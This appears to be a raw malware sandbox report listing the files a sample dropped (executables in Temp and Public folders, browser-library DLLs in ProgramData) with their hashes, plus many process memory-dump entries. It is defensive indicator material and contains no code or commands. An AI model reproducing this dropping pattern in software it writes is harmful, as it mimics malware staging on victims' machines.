C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
MD5
a78c23397c81f5e49296b6ff5b956928

SHA1
1b6ab1769e58c21c9cd6aa343379fbe5cefda526

SHA256
bc1722809baae20c024e8e9c71c0ff81f6af06989f15518c573fcf2d5a8218df

SHA512
c25b42a52bf81a99cc87ff8afd6c3e23e018e9e0e9b4c2cd4a8a124173f8a7cfbe4cd3a6cab4456bd51411b1fd5a45399a3f499df8d4b4acea8b9143b6d5b1b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
MD5
a78c23397c81f5e49296b6ff5b956928

SHA1
1b6ab1769e58c21c9cd6aa343379fbe5cefda526

SHA256
bc1722809baae20c024e8e9c71c0ff81f6af06989f15518c573fcf2d5a8218df

SHA512
c25b42a52bf81a99cc87ff8afd6c3e23e018e9e0e9b4c2cd4a8a124173f8a7cfbe4cd3a6cab4456bd51411b1fd5a45399a3f499df8d4b4acea8b9143b6d5b1b4

Download Submit
C:\Users\Public\clz.exe
MD5
a3cc781be4a0cc75f14ce69b59f8c99f

SHA1
9c13ea485984c9e75196c4d0bd871b1b7dc72017

SHA256
e4649c5b452d75aa2cdfdb8bffed9dd6c558d3cb1225c877bf570abb7b106221

SHA512
bb9f6115dac6d1001f5223c9a8d00c7c2b3865d7e9f99bad773df52d188e93282547ea37e496d987f3243c2445afaefe76b7e4849c2eb09bd73ba9ea21e23430

Download Submit
C:\Users\Public\clz.exe
MD5
a3cc781be4a0cc75f14ce69b59f8c99f

SHA1
9c13ea485984c9e75196c4d0bd871b1b7dc72017

SHA256
e4649c5b452d75aa2cdfdb8bffed9dd6c558d3cb1225c877bf570abb7b106221

SHA512
bb9f6115dac6d1001f5223c9a8d00c7c2b3865d7e9f99bad773df52d188e93282547ea37e496d987f3243c2445afaefe76b7e4849c2eb09bd73ba9ea21e23430

Download Submit
C:\Users\Public\imw.exe
MD5
a3cc781be4a0cc75f14ce69b59f8c99f

SHA1
9c13ea485984c9e75196c4d0bd871b1b7dc72017

SHA256
e4649c5b452d75aa2cdfdb8bffed9dd6c558d3cb1225c877bf570abb7b106221

SHA512
bb9f6115dac6d1001f5223c9a8d00c7c2b3865d7e9f99bad773df52d188e93282547ea37e496d987f3243c2445afaefe76b7e4849c2eb09bd73ba9ea21e23430

Download Submit
C:\Users\Public\imw.exe
MD5
a3cc781be4a0cc75f14ce69b59f8c99f

SHA1
9c13ea485984c9e75196c4d0bd871b1b7dc72017

SHA256
e4649c5b452d75aa2cdfdb8bffed9dd6c558d3cb1225c877bf570abb7b106221

SHA512
bb9f6115dac6d1001f5223c9a8d00c7c2b3865d7e9f99bad773df52d188e93282547ea37e496d987f3243c2445afaefe76b7e4849c2eb09bd73ba9ea21e23430

Download Submit
C:\Users\Public\imw.exe
MD5
a3cc781be4a0cc75f14ce69b59f8c99f

SHA1
9c13ea485984c9e75196c4d0bd871b1b7dc72017

SHA256
e4649c5b452d75aa2cdfdb8bffed9dd6c558d3cb1225c877bf570abb7b106221

SHA512
bb9f6115dac6d1001f5223c9a8d00c7c2b3865d7e9f99bad773df52d188e93282547ea37e496d987f3243c2445afaefe76b7e4849c2eb09bd73ba9ea21e23430

Download Submit
\ProgramData\mozglue.dll
MD5
8f73c08a9660691143661bf7332c3c27

SHA1
37fa65dd737c50fda710fdbde89e51374d0c204a

SHA256
3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

SHA512
0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

Download Submit
\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

Download Submit
\ProgramData\sqlite3.dll
MD5
e477a96c8f2b18d6b5c27bde49c990bf

SHA1
e980c9bf41330d1e5bd04556db4646a0210f7409

SHA256
16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660

SHA512
335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

Download Submit
\Users\Admin\AppData\Local\Temp\dup2patcher.dll
MD5
45c41eb1682fa0166f95aac876216375

SHA1
996400179494633458e160b5f0be6d62653cff75

SHA256
2666ab3caaa1f2aa111652e034af8f278f3741d7730576939c86bfb5496c2ab2

SHA512
a2a393400369dbd86c1e445776eef537582d26a50e7455841752a8d75d87ef867ab9daf3e7a9927281d87cdf35e988dc599b104cd1078e91c78108c9fea17408

Download Submit
memory/1084-123-0x0000000000000000-mapping.dmp

Download
memory/1252-301-0x0000000000450000-0x0000000000451000-memory.dmp

Filesize
4KB

Download
memory/1252-292-0x000000000041A684-mapping.dmp

Download
memory/1280-121-0x0000000000000000-mapping.dmp

Download
memory/1340-296-0x000000000043F176-mapping.dmp

Download
memory/1340-303-0x00000000004A0000-0x00000000005EA000-memory.dmp

Filesize
1.3MB

Download
memory/1340-302-0x0000000000400000-0x0000000000491000-memory.dmp

Filesize
580KB

Download
memory/1520-310-0x0000000000000000-mapping.dmp

Download
memory/1528-298-0x0000000000417A8B-mapping.dmp

Download
memory/1528-304-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/1528-305-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/1532-190-0x0000000006A63000-0x0000000006A64000-memory.dmp

Filesize
4KB

Download
memory/1532-184-0x00000000098C0000-0x00000000098C1000-memory.dmp

Filesize
4KB

Download
memory/1532-187-0x0000000008E40000-0x0000000008E41000-memory.dmp

Filesize
4KB

Download
memory/1532-150-0x0000000006A62000-0x0000000006A63000-memory.dmp

Filesize
4KB

Download
memory/1532-169-0x0000000008110000-0x0000000008111000-memory.dmp

Filesize
4KB

Download
memory/1532-145-0x0000000006A60000-0x0000000006A61000-memory.dmp

Filesize
4KB

Download
memory/1532-139-0x0000000006970000-0x0000000006971000-memory.dmp

Filesize
4KB

Download
memory/1532-135-0x0000000000B40000-0x0000000000B41000-memory.dmp

Filesize
4KB

Download
memory/1532-138-0x0000000000B40000-0x0000000000B41000-memory.dmp

Filesize
4KB

Download
memory/1532-163-0x0000000007720000-0x0000000007721000-memory.dmp

Filesize
4KB

Download
memory/1532-173-0x0000000000B40000-0x0000000000B41000-memory.dmp

Filesize
4KB

Download
memory/1532-130-0x0000000000000000-mapping.dmp

Download
memory/1604-290-0x00000000005F0000-0x00000000005F7000-memory.dmp

Filesize
28KB

Download
memory/1604-264-0x0000000000000000-mapping.dmp

Download
memory/1604-283-0x00000000005E0000-0x00000000005E1000-memory.dmp

Filesize
4KB

Download
memory/1620-160-0x00000000075B0000-0x00000000075B1000-memory.dmp

Filesize
4KB

Download
memory/1620-131-0x0000000000000000-mapping.dmp

Download
memory/1620-136-0x0000000000B80000-0x0000000000B81000-memory.dmp

Filesize
4KB

Download
memory/1620-133-0x0000000000B80000-0x0000000000B81000-memory.dmp

Filesize
4KB

Download
memory/1620-147-0x0000000004240000-0x0000000004241000-memory.dmp

Filesize
4KB

Download
memory/1620-191-0x0000000004243000-0x0000000004244000-memory.dmp

Filesize
4KB

Download
memory/1620-176-0x0000000000B80000-0x0000000000B81000-memory.dmp

Filesize
4KB

Download
memory/1620-149-0x0000000004242000-0x0000000004243000-memory.dmp

Filesize
4KB

Download
memory/1620-154-0x0000000007290000-0x0000000007291000-memory.dmp

Filesize
4KB

Download
memory/1620-157-0x0000000007300000-0x0000000007301000-memory.dmp

Filesize
4KB

Download
memory/1628-142-0x0000000006DE0000-0x0000000006DE1000-memory.dmp

Filesize
4KB

Download
memory/1628-137-0x0000000004250000-0x0000000004251000-memory.dmp

Filesize
4KB

Download
memory/1628-132-0x0000000000000000-mapping.dmp

Download
memory/1628-134-0x0000000004250000-0x0000000004251000-memory.dmp

Filesize
4KB

Download
memory/1628-192-0x00000000043A3000-0x00000000043A4000-memory.dmp

Filesize
4KB

Download
memory/1628-146-0x00000000043A0000-0x00000000043A1000-memory.dmp

Filesize
4KB

Download
memory/1628-166-0x0000000007F90000-0x0000000007F91000-memory.dmp

Filesize
4KB

Download
memory/1628-148-0x00000000043A2000-0x00000000043A3000-memory.dmp

Filesize
4KB

Download
memory/1628-172-0x0000000004250000-0x0000000004251000-memory.dmp

Filesize
4KB

Download
memory/1628-151-0x0000000007410000-0x0000000007411000-memory.dmp

Filesize
4KB

Download
memory/1776-289-0x00000000004A0000-0x000000000054E000-memory.dmp

Filesize
696KB

Download
memory/1776-265-0x0000000000000000-mapping.dmp

Download
memory/1776-285-0x00000000004A0000-0x000000000054E000-memory.dmp

Filesize
696KB

Download
memory/1976-125-0x0000000000000000-mapping.dmp

Download
memory/2120-286-0x00000000005B0000-0x00000000005B1000-memory.dmp

Filesize
4KB

Download
memory/2120-273-0x0000000000000000-mapping.dmp

Download
memory/2192-231-0x0000000000000000-mapping.dmp

Download
memory/2428-126-0x0000000000000000-mapping.dmp

Download
memory/2968-232-0x0000000000000000-mapping.dmp

Download
memory/2968-247-0x00000000006A0000-0x00000000006A1000-memory.dmp

Filesize
4KB

Download
memory/3416-309-0x0000000000000000-mapping.dmp

Download
memory/3456-300-0x0000000000530000-0x0000000000531000-memory.dmp

Filesize
4KB

Download
memory/3456-295-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3456-291-0x000000000041A684-mapping.dmp

Download
memory/3912-118-0x0000000000000000-mapping.dmp

Download